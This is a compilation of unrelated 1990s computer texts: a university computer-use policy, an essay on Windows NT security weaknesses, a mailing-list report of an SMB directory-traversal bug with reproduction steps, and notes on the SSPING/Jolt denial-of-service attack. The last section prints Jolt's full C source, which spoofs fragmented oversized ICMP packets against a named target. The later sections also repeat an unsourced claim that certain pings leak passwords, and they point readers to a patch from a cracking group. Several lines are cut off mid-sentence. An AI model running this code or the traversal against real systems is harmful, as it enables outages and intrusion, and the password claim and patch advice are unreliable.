New Mexico State Univercity Computer Use Policy

   The following is the published policy statement here at New Mexico State
University.  It has evolved from several iterations of study.  Hope it is of
some help.

+--------------+             D. Bryan Emery
|              |             New Mexico State University Computer Center
|              |             Mainframe Services Division
|              |             P.O. Box 30001, Dept 3AT
|              |             Las Cruces, New Mexico  88003-0001
|   NMSU       |             (505) 646-1240
|    *         |
|     +--------+             Bitnet:    [email protected]
|     |                      Internet:

                          USER RESPONSIBILITIES

               New Mexico State University Computer Center
                        Department 3AT, Box 30001
                        Las Cruces, NM 88003-0001
                              (505) 646-4433

                          Revised:  07/89 (CNR)

   While computing resources at NMSU are extensive, so is its user com-
   munity; therefore respect and conservation is imperative.

   User Responsibilities

   All NMSU computing and networking resources should be used in an ef-
   fective, efficient, ethical, and legal manner.  Users are assumed to
   agree to respect the following conditions of use:

      1.  Respect the intended purposes of computing resources:

          o   Use accounts only for the instructional, research, and
              administrative purposes specified.  Playing games, print-
              ing calendars and posters, and gambling pools are exam-
              ples of inappropriate computer use.

          o   Not to use instructional accounts for commercial activ-

      2.  Respect the privacy of other users:

          o   Not to use any other person's account unless explicitly
              permitted to do so by that person.

          o   Not to intentionally seek information on, obtain copies
              of, or modify files, tapes, passwords, or any type of
              data or programs belonging to other users unless specif-
              ically authorized to do so.

          o   Keep your password secret and change it regularly.

      3.  Respect system integrity and resources:

          o   Not to develop or execute programs that could harass
              other users, infiltrate systems, damage or alter software
              components, or use any services for unauthorized commer-
              cial purposes.

          o   Not to attempt to alter or avoid accounting for computer

          o   Avoid excessive use of resources; for example, microcom-
              puters, public terminals, graphics devices, printers,
              networks, and processor time.

          o   Share resources in an equitable manner.

          o   Respect proctors and consultants.

          o   Follow established procedures.

   Mutual respect and cooperative attitudes will ensure everyone has
   equal privileges, privacy, and protection from interference or

   Game Playing

   NMSU computing and networking resources are valuable and limited.
   All users have the responsibility to use these resources in an ef-
   fective, efficient, ethical, and legal manner.

   Because resources are limited, the following policy applies to game

      1.  Game playing is restricted to those times when terminals and
          resources are not needed for other purposes.

      2.  Game players must surrender their terminals when requested.

      3.  Game playing is a privilege and one that may be revoked at
          any time.

   Violations of these conditions may result in suspension of computer
   privileges, disciplinary review, suspension or expulsion from the
   university, termination of employment, and/or legal action.

   Copyright Policy

   Unless you have written a program yourself, you do not have the
   right to make and distribute copies of programs without specific
   permission of the copyright holder.

   Software programs are protected by Section 117 of the 1976 Copyright
   Act.  Most NMSU software is protected by federal copyright laws.
   Educational institutions are not exempt from these laws.  Software
   is also protected by the license agreement between supplier and pur-

   Software provided by NMSU can only be used on the computer equipment
   specified in the software license.  It is against University policy
   to copy or reproduce any licensed software on University computing
   equipment, except as expressly permitted by the software license.
   Public domain software is available.

   Also, you may not use unauthorized copies of software on University
   owned computers or on personal computers housed in University facil-
   ities.  Unauthorized use of software is regarded as a serious matter
   and any such use is without the consent of New Mexico State Univer-

   Public Domain Software

   Software that can be copied and used by anyone is considered public
   domain.  Programs authors want to share can be published with

   The communications software needed to connect your PC to the NMSU
   network is also public domain.  KERMIT software is free of charge;
   bring a PC diskette to Small Systems at Jacobs Hall for your copy.

   BITNET Usage Guidelines

      1.  All BITNET use must be consistent with its goal to facilitate
          exchange of non-commercial information supporting NMSU's
          mission of education and research.  Commercial use is
          strictly forbidden.

      2.  BITNET is not a secure network and should not be relied on
          for transmitting confidential or sensitive data.

      3.  Transmitting large files can cause traffic problems.  There-
          fore, file transmissions are limited to 300,000 bytes (3,750
          eighty-character records) regardless of the time of day.  To
          transmit files exceeding this limit, divide them into a num-
          ber of smaller files of 300,000 bytes or less send them at
          appropriate intervals.

      4.  Since interactive messages take precedence over all other
          transmissions, extensive use of messaging can block BITNET
          traffic.  Therefore, applications using the interactive mes-
          saging capability, such as BITNET-based PVM software, are re-
          stricted to research use by the Computer Center staff.

      5.  Proprietary software may not be sent over BITNET.

      6.  Random mailings (junk mail), casual contacts ("Who are you?"
          messages), and job solicitations are discouraged.

   Ethical Use

   Ethically responsible use of academic computing systems includes the
   efficient and productive use of resources.  Microcomputers, public
   terminals, graphics devices, printers, networks, and computing
   processor time are resources that much be shared in an equitable

   For example, if production runs use large amounts of computing re-
   sources, attempt to optimize your programs.  Large inefficient pro-
   grams deny resources to other users.  Also, keeping unnecessarily
   large permanent files depletes resources.


   Violations of these conditions may result in the suspension of com-
   puting privileges, disciplinary review, termination of employment,
   and/or legal action.

   Getting Help

   For questions on policies for correct use of NMSU's computing and
   networking resources, consult the Computer Center Director.

Some Windows NT Security Issues by Somar.Com

   Info: Windows NT Security Issues

Lax registry permissions

NT installs by default with Everyone given write access to much of the
registry. To see just how much, use the Somar DumpAcl program. This is a
major problem because the registry on any machine running NT, both servers
and workstations, can be accessed remotely using Registry Editor. So a
user running on some workstation can modify the registry on any server or
workstation on which this user has an account (normally this means all
servers), or on which the guest account is enabled.

Since the registry is similar to a file system, the obvious solution is
either to stop sharing the registry or else set registry permissions
securely. Unfortunately, there is no way to stop sharing the registry
currently. As far as setting permissions, this is possible in theory but
impractical because of the complexity of the registry. It is doubtful that
anyone besides Microsoft can give guidance as to exactly which registry keys
can be made read-only for ordinary users and which must be writeable by
ordinary users. It is not acceptable to set permissions on the
HKEY_LOCAL_MACHINE root key and let those permissions be propagated to all
subkeys. This will cause various problems with the functioning of NT (it
did when I tried it at least). If it is possible, then Microsoft needs to
explicitly say so.

It is possible to enable auditing of the successful change of all registry
keys and then write a program to scan the audit log looking for changes
made by other than the admininstrator, but this seems a poor way to run a
system. It is analogous to letting all users write to all files, then
auditing the changes and punishing users who changed files they weren't
supposed to change. It is clearly better to just deny write permission to
begin with if you don't want the user changing the file or registry key.

Consider various scenarios. A malicious user changes a few registry entries
so that various services begin functioning strangely, but not so strangely
that it is obvious what has happened. The problems are not reproducible at
other sites and the sysadmin feels like a fool. If logging is enabled, the
sysadmin might eventually track the problem to the user who made the changes,
but in reality, most sysadmins will just reinstall NT. The user might then
wait a few months, then make the changes again. So the sysadmin comes to
the conclusion that NT needs reinstallation every few months to keep things
running properly.

It is also possible for a user to make the changes while logged on using
another users account (the other user stepped out of the room without
locking their workstation, or they wrote their password down in a notebook
and the malicious user found it, etc, etc). In this case, even if the
sysadmin traces the changes using the registry audit logs, they won't find
the real culprit.

I have raised this isues of lax permissions with Microsoft and they looking
into it.

Permissions set improperly

If the file system has a large number of files (say 500,000), it is
impractical to examine the permissions on each file using file manager.
Somar DumpAcl produces a report of permissions which groups files and
directories with the same permissions, so the report of file system
permissions is much shorter. Permissions are only shown for the root
directory and files and directories below the root whose permissions differ
from those of the root. If all files and directories have the same
permissions, a report of permissions consists of a single item.

One of common ways for files to get "wrong" permissions is due to
differences between the way permissions are treated when copying versus
moving a file. Copying a file causes the file to inherit permissions from
the directory into which the file is copied. Moving a file preserves
existing permissions on the file. So, a user might create a file in a
temporary directory whose initial permissions give Everyone full control.
This user then decides to add some data to the file that they don't want
other users to change. So they move the file to a directory where only they
have write permission. However, the file will still have the original
permissions, giving Everyone write permission. If the user had copied the
file and then deleted the original, the file would have the same
permissions as the directory. The Somar DumpAcl report makes it very easy
to spot files with "wrong" permissions.

Remote procedure calls

NT programs use remote procedure calls (RPCs) to allow various system
services to be performed on a remote computer (i.e. a computer other than
the local computer where the program is executing). For example, the
ability to modify the registry on remote computers is implemented using
remote procedure calls.

There are mechanisms in NT for the RPC server to learn the username of the
RPC client and then to limit the functions it will perform based on that
username. However, as shown too many times in this document, there is a big
difference between having good security mechanisms and having good
security. If the RPC server ignores the username or incorrectly gives too
many capabilities to the Everyone account or whatever, then there is a
security hole. Since this whole aspect of NT seems poorly documented,
there is really no telling how many security holes there are in this area.

Securing a shared workstation

Many users have asked how to secure a shared workstation so users cannot do
any damage to the machine. For example, a workstation in a computer lab at
a university. As described above, there is no way to secure the registry.
The file system can be secured by setting the entire drive to the following

    SYSTEM                      full control
    Administrators              full control
    Everyone or Users           read only

Permissions should then be reset on the %SYSTEMROOT%\SYSTEM32\CONFIG
dirctory as follows:

    SYSTEM                      full control
    Administrators              full control
    CREATOR OWNER               full control
    Everyone or Users           add permission only

These settings allow users to create a profile, but prevent them from
reading other users profiles, to avoid the security issues described in
the section on Profiles contain sensitive information.

Permissions should also be reset on the TEMP directory
(C:\TEMP or whatever) as follows:

    SYSTEM                      full control
    Administrators              full control
    CREATOR OWNER               full control
    Everyone or Users           add permission only

These settings allows users to use the TEMP directory, but avoid problems
with users being able to read temporary files containing sensitive
information that were created (and never deleted) by other users. Even if
user remove files with sensitive information from the temporary directory,
there is the issue of permissions being retained when a file is moved
instead of copied (discussed in the section on Permissions set improperly).
So the permissions on the TEMP directory should be set so initial
permissions on a file are restrictive. Users can later make the file
world-readable if they want to.

There are other files and directories to which users of a shared
workstation may need write access:

   * Some applications require write access to the application directory
        to store data. cc:Mail is an example.
   * Many older Windows applications require write access to the
        %SYSTEMROOT% directory to store .INI files. Newer 32 bit
        applications should use the user registry instead of .INI files.
   * DOS graphic programs require write access to
   * The builtin NT backup program requires write access the
        %SYSTEMROOT%\SYSTEM32 directory to store temporary files.

The above list is not all-inclusive. You can enable failure auditing on all
files and then examine the audit logs after making the most of the file
system read-only to determine what files users need write access to. You
can also use the Somar DumpAcl program to dump and print file permissions
prior to making any changes.

Macro runs when document is opened

A WinWord document can contain a macro which runs when the file is opened.
These macros can perform very powerful operations, including file i/o,
sending mail or calling Win32 services. So a malicous user might ask
another, unsuspecting user to read a document the first user wrote. This
document contains a WordBasic macro which runs when the document is opened.
The macro copies all files from the unsuspecting user's personal
directories to a directory to which both users have read and write
permission. The macro then sends mail to the malicious user notifying them
of what happened. The document may take a while to start up, but the
unsuspecting user assumes this is because the document is long. The
malicous user later deletes the WordBasic macro from the document and
notifies the unsuspecting user to replace any copy they made, so that
all potentially incriminating evidence is destroyed.

It is also possible to write the macro so it calls a user written DLL that
does something useful, as well as copying files and performing other
hostile acts. This DLL might be large and complicated so that it would
be very difficult to disassemble it and prove that it was doing something
wrong. Even if you were able to prove that the DLL was accessing your
files, the author could say this was due to a bug in the DLL. If you
demanded the source from which the DLL was compiled, the auther could give
you some modified source. When you pointed out that this source could not
be used to build the DLL exactly, the author could reply that the source
had been modified to fix bugs since the DLL was originally built, which is
a perfectly reasonable explanation. By using a DLL in other words, there is
never any incriminating evidence.

There are other programs besides WinWord which can create files which
contain embedded macros which execute automatically when the file is opened
in the creating application. For example, Microsoft Access and Lotus Ami
Pro (these are just the programs I am aware of, I am sure there are many
others). Also, Postscript files, believe or not, have file i/o capability.
So if you open a postscript file in an interpretor, it might go out and
modify any files to which you have write access. Also, Windows Help files
(.HLP extension) can call DLLs (typical use is to customize the Help
program in some way).

So, suppose you receive a package containing a .HLP, .EXE and a .DLL file
all together. You want to browse the .HLP file to see what this package is
all about and whether you trust it enough to run the .EXE file. You assume
the .DLL is called by the .EXE only. When you open the .HLP file, the .DLL
is executed and it's too late if you decide the package is untrustworthy.

WinWord and Access both allow the user to hold down the shift key when
opening a document to prevent any macro from running. It is difficult to
get in the habit of doing this (I am speaking from experience), especially
when most of the Word or Access documents you open are your own, and
therefore known to be safe.

Why authors of programs feel the need to include powerful embedded macro
languages is something I really don't understand. It is possible to
accomplish most of what embedded languages do using DDE or OLE automation.
The advantage is that the end user learns one scripting language
environment and then applies it to different applications, as opposed to
learning a new language for each application. Microsoft has decided to
include VBA in all of their products, which reduces the amount of learning
to some extent. But why, I ask, not just provide good OLE Automation
capabilities so we don't need embedded macro languages at all, but can
instead use a separate Visual Basic program?

In any case, if it is absolutely necessary (for political or marketing
reasons) to include an embedded scripting language in an application, then
users should be allowed to set an option in the application so that they
are prompted before any macros are run (e.g. "this document contains an
embedded macro. Do you want to run this macro?"). There should be no way
for the document to override this option and the option setting should be
persistent (saved in a .INI file or the user's registry profile). If
absolutely necessary, the application can be designed so that if the user
refuses to run the macro, the application will refuse to open the document.

Interesting Note. I was just reading about the Good Times mail "virus".
This is a hoax which alleged that there was a way to write a mail message
such that if you read the mail message, all your files would be deleted.
Users reading this hoax become frantic that they can no longer read any
mail without endangering their system. Actually, there is an element of
truth to this. If the mail message included an attached Word document, then
reading that attachment might cause a macro to be run which deleted all
your files. These attachments can be sent using SMTP MIME or Microsoft
and other propertiary mail systems.

File sharing issues

The SMB file and print server protocol used by NT is much more resistant to
impersonation and session hijacking than the NFS file sharing protocol used
on Unix. This is significant since NFS is one of the biggest security
weaknesses on Unix.

It is remotely conceivable that a gateway machine could hijack an SMB
session and then read/write any files to which the true user of that
session had access. However, the likelihood of this happening is very small,
since true gateway machines are seldom used on LANs due to performance
reasons. If the machine attempting the impersonation or hijacking is merely
a node on the same Ethernet or Token Ring as the client and/or server, then
it would probably be very difficult to perform the impersonation or
hijacking. In particular, it would be difficult to get packets routed to
the impersonating machine instead of the true destination machine.

In any case, the much more relevant security risk is that user data is
transmitted in the clear and so can be easily read by any computer on any
LAN over which the data passes. Remember that if you connect to a remote
network drive over the Internet or other insecure connection, you are
passing data back and forth whenever you read or write a file on the
network drive. File manager gives the illusion of the data being local,
which makes remote files easy to use, but which can also lead to security

This risk of eavesdropping does not exist for logons passwords, since these
are never transmitted in the clear over the network, but rather a
challenge-response protocol is used instead.

In the long run, it would be nice if Windows NT were designed so that all
SMB protocol data passed over the network was automatically encrypted,
using a key which was randomly chosen for each NetBios session. No directly
competing operating systems have this feature and, until some do, it is
unlikely NT will. If you have a need to transmit data over an insecure
network and you want to be protected from eavesdroppers, you will need to
use some sort of encryption. For example, there are router boxess that can
encrypt all TCP data, but not the IP header which is used for routing. Put
one of these routers at two sites and configure with the same key all data
passed between those sites with be secure. You are still open to traffic
analysis, however. Traffic analysis is a concern, for example, when an
undercover spy wants to send reports back to the home office, or similar

Profiles contain sensitive information

Some users put their userid and password on the command line of the program
manager item, for example for Microsoft Mail. This way they can start mail
by just double-clicking the mail icon, without having to type in their
password. This password will be embedded in the user profile.

The local user profile is stored in %SYSTEMROOT%\SYSTEM32\CONFIG and also
on a file server share, if a named, domain-wide user profile has been
assigned for the user. Permissions on these directories should
be like:

    SYSTEM                      full control
    Administrators              full control
    CREATOR OWNER               full control
    Everyone or Users           add permission only

This is how permissions are initially set on %SYSTEMROOT%\SYSTEM32\CONFIG.
Since CREATOR OWNER has full control, each user will have full control of
their own profile. Since Everyone and Users have only add permission, they
will be able to create a profile, but won't be able to read other users

In some cases, such as with 3270 emulator programs, passwords are included
in keyboard macros (so the user can use F12 or whatever to initiate the
entire logon sequence). These macros may be stored in the user profile or
a file. If a file, users should be warned to make sure the directory where
this file is stored is not world-readable. This is primarily a concern on
shared workstations.

Passwords in general

If a password is short and obvious, then it can be guessed. If it is
written down in a notebook, it can be discovered. So pick a long password,
consisting of a mixture of upper and lower case letters and punctuation,
never write it down, and change it often (but not so often you feel the
need to write it down). This is all well-known, but so important that it is
worth repeating nonetheless. Finding someone's password written down is
the lowest-tech way to break into a system, but unfortunately also the
most common.

Special shares

NT shares the %SYSTEMROOT%\SYSTEM32\REPL\EXPORT\SCRIPTS directory, so that
users can read their login script during login. Normally, all of the
scripts are readable by Everyone. So be careful what you put in these
scripts and this directory. Other special shares are created by other
installed services, such as SNA server or SMS. Use Somar DumpAcl to dump
a list of shares and their permissions. And examine the permissions on the
directories underlying the shares. Remember that the final access
permission on a shared directory is the intersection of the share and NTFS
permissions. So while you are setting permissions to restrict access, be
careful you don't unintentionally completely remove access.

Win32 services default to running under SYSTEM account

Many of the internet Unix breakins occurred when someone discovered a bug
in a TCP/IP service and took advantage of this bug to break into the
system. For example, the infamous Internet worm took advantage of a bug
which caused the stack to be overwritten if the finger daemon received bad
input. Obviously, you should try to only run services which do not have
bugs. However, the danger if there is a bug is greatly reduced if the
service runs under an ordinary user account with restricted permissions,
instead of under the SYSTEM account (which corresponds to the Unix root
account). So, for example, run your SMTP service under an smtpuser account,
and give this account limited privileges, instead of running it under the
SYSTEM account.


If you are not familiar with viruses, there are many good books on the
subject. NT is better secured than DOS from viruses, provided you normally
run under an ordinary user account (not administrator), and keep most
system files protected against modification by user accounts. NT is also
secure against boot sector viruses, which are the most difficult to
eradicate, provided you never boot with a floppy in the drive, since NT
does not allow non-privileged programs to write directly to disk.

Data on disk not encrypted

Anyone who has physical access to a machine can read file system data by
either reinstalling NT (the installer can pick the initial Administrator's
password and Administrator can read all files) or booting from a DOS floppy
and reading raw sectors using a low level disk utility. In both cases, the
user would need access to the floppy drive. On many machines, the floppy
can be disabled via the BIOS. There are two ways to get around a disabled

   * Resetting the BIOS. Typically this is done by setting a jumper which
causes a slow discharge of the battery needed to preserve the BIOS settings
in CMOS. Discharge might take several hours, or several minutes, depending
on your motherboard. Don't trust manufacturer's specs, since this is not
something anyone tests.
   * Moving the hard drive to another machine and reading it there.

These techniques require opening the computer case, so there should be no
risk for machines stored in open areas where opening a case would be
immediately noticed.

If the case can be opened, then you will need to encrypt data on disk.
There are various products which allow you to do this, with varying degress
of user-friendliness and transparency. (Any manufacturers who would like me
to list there product and add hypertext links to their Web pages, just drop
me a note).

If you need military grade security, it should be noted that fragments of
any file that is stored unencrypted in memory can be written to the paging
file. So software encryption products will not be sufficient in this case.
What you need instead is a disk controller which encrypts data on the fly
as it is transferred between memory and disk. Typically, the user would be
prompted for a password by the disk controller BIOS during cold boot. An
examples of where military grade security is needed is a embassy which
contains secret data on PCs. These PCs might fall into the hands of a
hostile intelligence agency with adequate resources to extract information
from the fragments of data in the paging file. For most users, such
military grade security is not really necessary.

Backup/Restore user rights allow reading/writing all files

It is obvious that to perform a backup, the operator needs to be able to
read all files. What is not obvious is that tape need not be involved. It
is trivial to write a program in C which takes advantage of the backup right
to read any file in the system. So be careful of who you give the backup
right to. The use of the backup right as well as accesses to files can be
logged in the Audit log. Users who have both backup and restore rights can
read any file, modify it and write it back. As with the Backup right, use
of the restore right can be logged. User Manager is used to assign rights
to users and enable auditing of the use of user rights.

Data on backup tapes not encrypted

The NT backup program does not encrypt data on tape. So anyone who has a
tape can read it on another machine on which the user has restore
privileges, such as their personal NT workstation.

FTP/Telnet passwords

Microsoft does a good job of warning people about the fact that FTP
passwords are transmitted in the clear. Especially for machines connected
to the Internet, it is probably best to allow only anonymous FTP, so that
no one ever attempts to transmit a password to your machine over the
internet. If you FTP or Telnet from your machine to another machine on the
internet, the same warning applies: any password you enter or any
data you transmit, could be intercepted by other machines on networks over
which the data is passed.

FTP service directory

The home directory you specify for the FTP service is only the initial
current directory. Ftp users can change their current directory. So if you
specify a home directory of c:\ftp, any ftp user can change to c:\ and thence
change to any subdirectories under c:\. Normal NTFS permissions will apply,
of course, to whatever account the ftp user is running under. If you don't
want ftp users to be able to see the root directory of your primary
partition, you should create a separate partition for ftp and then
configure ftp so that it can only read and/or write to that partition.

Application software issues

The really valuable data on a computer system is what is produced by
applications and stored in file and databases. It is very important to
write and install these applications with an eye on security. It does no
good to follow all the guidelines above and then have SQL Server setup in
such a way that anyone with an account can read the entire database. Or to
have an transaction processing monitor which runs under a privileged
account and allows unprivileged users to submit requests that give them
access to the entire file system.

Send comments and questions to
All material Copyright © 1995 Somar Software. Last updated 3 June 1995.

A Bug In Windows for Workgroups by Dan Shearer (July 22, 1995)

Bug in Windows for Workgroups, Win95 beta

Dan Shearer (

Sat, 22 Jul 1995 12:42:25 +0930

   *  Messages sorted by: [ date ][ thread ][ subject ][ author ]

   *  Next message: Dan Shearer: "Re: Bug in Windows for Workgroups, Win95


   *  Previous message: Cy Schubert - BCSC Open Systems Group: "Re:

     [Linux-ISP] lpr(1) bug"

   *  Next in thread: Dan Shearer: "Re: Bug in Windows for Workgroups,

     Win95 beta"

This is probably getting a bit stale by now, but I haven't seen it here.

The Samba development community have discovered a security hole in

Workgroups and Win95 beta.  Microsoft were officially informed, and

appear to have fixed the problem in the release version of Windows 95.

It still exists in Windows for Workgroups, and last I heard Microsoft

were not committing to releasing a patch for the problem, but they didn't

say they wouldn't either.



Any machine with Windows for Workgroups that is running TCP/IP as a

file/print transport. Certainly Microsoft TCP/IP and most likely other

stacks as well.



If the Workgroups machine shares any directory below root, a free Unix

program that uses the Microsoft SMB protocol over TCP/IP can access the

whole drive, with whatever permissions the sharename was given. These

resources are advertised on a browse list that is made available to anyone

on the local network by default, and to anyone on the Internet who knows

the machine's IP address. Any user sharing anything without a password is

automatically opening the whole disk to the whole internet (for those

that can locate the machine) and those with a password should be aware

that Workgroups has no protection against brute force attacks.

To Reproduce


Start up "smbclient", and ask to connect to a resource. Then issue the

commands "cd ../" or "cd ...", which are valid according to the SMB

protocol. These servers move up to the next level directory (the one above

the one that was shared on the network) without any complaint. I have

tried other SMB servers such as Samba, Windows NT and OS/2 LAN Manager.

Samba correctly denies access, NT incorrectly does not complain but does

not appear to have a security problem, and LAN Manager handles it in the

correct manner.



The Microsft Server Message Block (SMB) file and print sharing protocol is

an X/Open standard. The Samba client implements the X/Open protocol

properly, but these two Microsoft servers do not. As Andrew Tridgell said

recently "It is nice of them to make it an X/Open standard, but as with

most proprietry ideas it is much less rigorously tested than an RFC. For

instance, there are three completely different date and time formats used

at random throughout". So I suppose it is just the same sort of thinking

carried into implementation.



You can find out about Samba at



The Samba site has a link to the tcpdump patches by Andrew that understand

SMB (and also NetBEUI, incidentally.)

Samba also comes with a file system for Linux that allows SMB resources

to be mounted. Theoretically it would be possible to mount the disk of a

Workgroups server and reshare it as, say, an FTP site or a Web site :-)


   *  Next message: Dan Shearer: "Re: Bug in Windows for Workgroups, Win95


   *  Previous message: Cy Schubert - BCSC Open Systems Group: "Re:

     [Linux-ISP] lpr(1) bug"

   *  Next in thread: Dan Shearer: "Re: Bug in Windows for Workgroups,

     Win95 beta"


Information obtained from 

So far at this moment there are NO OFFICIAL PATCHES! What is offered here are
hacks made by people who wanted to put a stop for this, and neither I nor they will
accept any responsibility for any damages. You are only encouraged to use them if
you are directly affected by this bug. Hopefully Microsoft will provide a real patch
within the next few weeks. Dave Rajala, an employee of Tech Data, which works
closely with Microsoft, had this to say about it:

"... development is aware of the issue and have it listed in our bug
database right now.  They are working on it.  It is listed as both severity
1 and priority 1.  The bug number is 90631 for your records."


Lucky, Phrozen Crew, a well known "Cracking Group" has released what seems to
be a Windows95 (not Memphis or NT) patch. Download (read this
README.TXT about it first!) into your C:\Windows\System and then run it. Try the
test yourself! page to see if you immune. If this patch fails to work, you can try the
next one.

Alternative Patch for Windows95, and Memphis

Another patch, which is probably what the above patch really does, is to hexedit
c:\windows\system\vip.386 and change the hex string 76D2 to 4840, then reboot.
This patch is for people who the above patch does not work on (Memphis, strange
Win95 versions). It has not been tested on NT yet. If you do not know what a Hex
editor is, you probably do not want to attempt it. 
kM Notes:

Microsoft seems to have released a patch for NT4 Server.  You can download the sping fix 
(win95 from the files area and get the NT4 Server patch from the NT files area).

If you can't find them please use the search engine on the patch and search for sping.

SSPING/JOLT Technical Information

SSPING/JOLT technical info
Information obtained from

SSPING was a product of Datagram of Havok, or so it was thought. Jeff W.
Robertson has come forward on BugTraq with his original source code however
which details this. 

How it seems to work is it sends the Win95/NT target a series of fragmented IP
packets to machine, and when the machine puts them ogether, it then becomes a
large packet (>64k?), which resembles the classic Ping of Death attack (ICMP
packets > 64K), and then it freezes completely. Hawke also reminded me this isn't
the first time Windows95 or NT has had problems with ICMP.

There were a few things I thought I might mention after reading your bit on microsoft
coding to RFCs and FYIs and in regard to SSPING. These ping problems as you
know have been around for a while ranging from the ping of death to the newer
SSPING but I have not seen mention of another exploit found about a year ago with
ping. And from memory this one sits right in the middle of SSPING and Ping Of
Death. Around the 643?? mark as I said this is from memory but I can look it up for
you or you can read it your self. One of the phrack authors had been playing with ping
slowly working his way up the scale in size and fragmentation when he noticed that
pinging a wintel machine with a packet in size between the other two returned the
victims login name and password. Using a hex editor { I used Xtree Gold } to look at
the debug contents of the returned packet you can in the ASCCI colum as plain as
day actually see the users login name and password. Why ICMP stores that info in
its buffers or indeed if thats where it comes from is beyond me and I have not had
time yet to look into it. But the exploit was originally found to work only on certain
stacks. I set up another machine here and tried numerous stacks including the DUN
that comes with NT/Win95 and plus pack all with success.

The author, Jeff W. Robertson, describes Jolt (the original version of SSPING supposedly) as:

Ok so all this does is build a really fraggmented over sized packet and once win95
gets it, and puts it back together it locks.  I send multiple packets by default cause
some times it takes a few packets to totally freeze the host.  Maybe its spending
processor time to figure out how to put them back together?  I've had reports of people
blue screening from it tho so we'll let Microsoft's boys figure out exactly what this
does to 95.  As of now i haven't tested it on NT, but maybe i will later ;).  All of this
source wasn't origonally written by me I just took one of the old programs to kill
POSIX and SYSV based systems and worked on it abit, then made it spoof =).

strace output of a normal ping:
sendto(10, "\10\0\2660\7t\2\0\214\26\2663\1\16"..., 64, 0, {sin_family=AF_INET,
sin_port=htons(0), sin_addr=inet_addr("")}, 16) = 64

strace output of an ssping:
sendto(10, "E\0\0\0zi \1\377\1\347\t\317D\234"..., 63, 0, {sin_family=AF_INET,
sin_port=htons(0), sin_addr=inet_addr("")}, 16) = 63

I did end up writing an ssping detector for Linux, based on the icmplogger source,
but I wasn't thinking and ran into the problem that ssping has a built in spoofer. I
deleted the source code for my ssping detector after it was telling me that was sspinging it 

                                        Source Code

I put the source code online now, for educational purposes. I put a flaw in it's syntax
in three places, which anyone who could learn anything from this program (C
Programmers) should discover easily. This is just so we don't have 30 billion people
using this without reason.

/* Jolt 1.0 (c) 1997 by Jeff w. Roberson
 * Please, if you use my code give me credit.  Also, if i was the first to
 * find this glitch, please give me credit.  Thats all i ask.
 * Ok so all this does is build a really fraggmented over sized packet
 * and once win95 gets it, and puts it back together it locks.  I send
 * multiple packets by default cause some times it takes a few packets to
 * totally freeze the host.  Maybe its spending processor time to figure
 * out how to put them back together?  I've had reports of people blue
 * screening from it tho so we'll let Microsoft's boys figure out exactly
 * what this does to 95.  As of now i haven't tested it on NT, but maybe
 * I will later ;).  All of this source wasn't origonally written by me
 * I just took one of the old programs to kill POSIX and SYSV based
 * systems and worked on it abit, then made it spoof =).
 * VallaH  (
 *  Update: It apears to work on some older versions of mac os

                       /* Yah this is for linux, but i like the BSD ip header better then linux's */
                       #define __BSD_SOURCE
                       #include <stdio.h>
                       #include <sys/types.h>
                       #include <sys/socket.h>
                       #include <netdb.h>
                       #include <netinet/in.h>
                       #include <netinet/in_systm.h>
                       #include <netinet/ip.h>
                       #include <netinet/ipicmp.h>
                       #include <string.h>
                       #include <arpa/inet.h>

                       int main(int argc, char **argv)
                               char buf(400);
                               struct ip *ip = (struct ip *)buf;
                               struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
                               struct hostent *hp, *hp2;
                               struct sockaddr_in dst;
                               int offset;
                               int on = 1;
                       int num = 5;

                               bzero(buf, sizeof buf);

                               if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
                               if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
                               if (argc < 3) {
                       printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (\n");
                                       printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);
                       printf("\tdstaddr is the host your attacking\n");
                       printf("\tsaddr is the host your spoofing from\n");
                       printf("\tNumber is the number of packets to send, 5 is the default\n");
                       printf("\nNOTE:  This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its
                       nothing new..\n");
                       printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");
                               if (argc == 4) num = atoi(argv[3]);
                           for (i=1;i<=num;i++) {

                               if ((hp = gethostbyname(argv[1])) == NULL) {
                                       if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
                                               fprintf(stderr, "%s: unknown host\n", argv[1]);
                               } else {
                                       bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length;

                               if ((hp2 = gethostbyname(argv[2])) == NULL) {
                                       if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
                                               fprintf(stderr, "%s: unknown host\n", argv[2]);
                               } else {
                                       bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

                               printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
                               ip->ip_v = 4;
                               ip->ip_hl = sizeof *ip >> 2;
                               ip->ip_tos = 0;
                               ip->ip_len = htons(sizeof buf);
                               ip->ip_id = htons(4321);
                               ip->ip_off = htons(0);
                               ip->ip_ttl = 255;
                               ip->ip_p = 1;
                               ip->ip_csum = 0;                 /* kernel fills in */

                               dst.sin_addr = ip->ip_dst;
                               dst.sin_family = AF_INET;

                               icmp->type = ICMP_ECHO;
                               icmp->code = 0;
                               icmp->checksum = htons(~(ICMP_ECHO << 8));
                               for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
                                       ip->ip_off = htons(offset >> 3);
                                       if (offset < 65120)
                                               ip->ip_off |= htons(0x2000);
                                               ip->ip_len = htons(418);  /* make total 65538 */
                                       if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
                                                               sizeof dst) < 0) {
                                               fprintf(stderr, "offset %d: ", offset);
                                       if (offset == 0) {
                                               icmp->type = 0;
                                               icmp->code = 0;
                                               icmp->checksum = 0;
                       return 0;

The Sping Attack, and What You Should Know

Sping Attack..What you should Know
File Information was obtained from

What is it?

   SSPING/Jolt is a program which effectively will freeze of almost any Windows95 or
   Windows NT connection. It's based on old code which freezes old SysV and Posix

   It works basically by sending a series of spoofed & fragmented ICMP packets to the
   target, which build up to be a 64k ping, and Windows95/NT then ceases to function

Who does it effect?

   This will affect almost all Windows95, Memphis and WindowsNT boxes which are
   not behind a firewall which blocks ICMP packets. We have heard reports of some
   computers not being effected however. This will also affect old MacOS machines
   too, and it's possible it is also useful against old SysV/POSIX implementations.

   Anyone who plays Quake or uses IRC has probably encountered an ssping/freeze
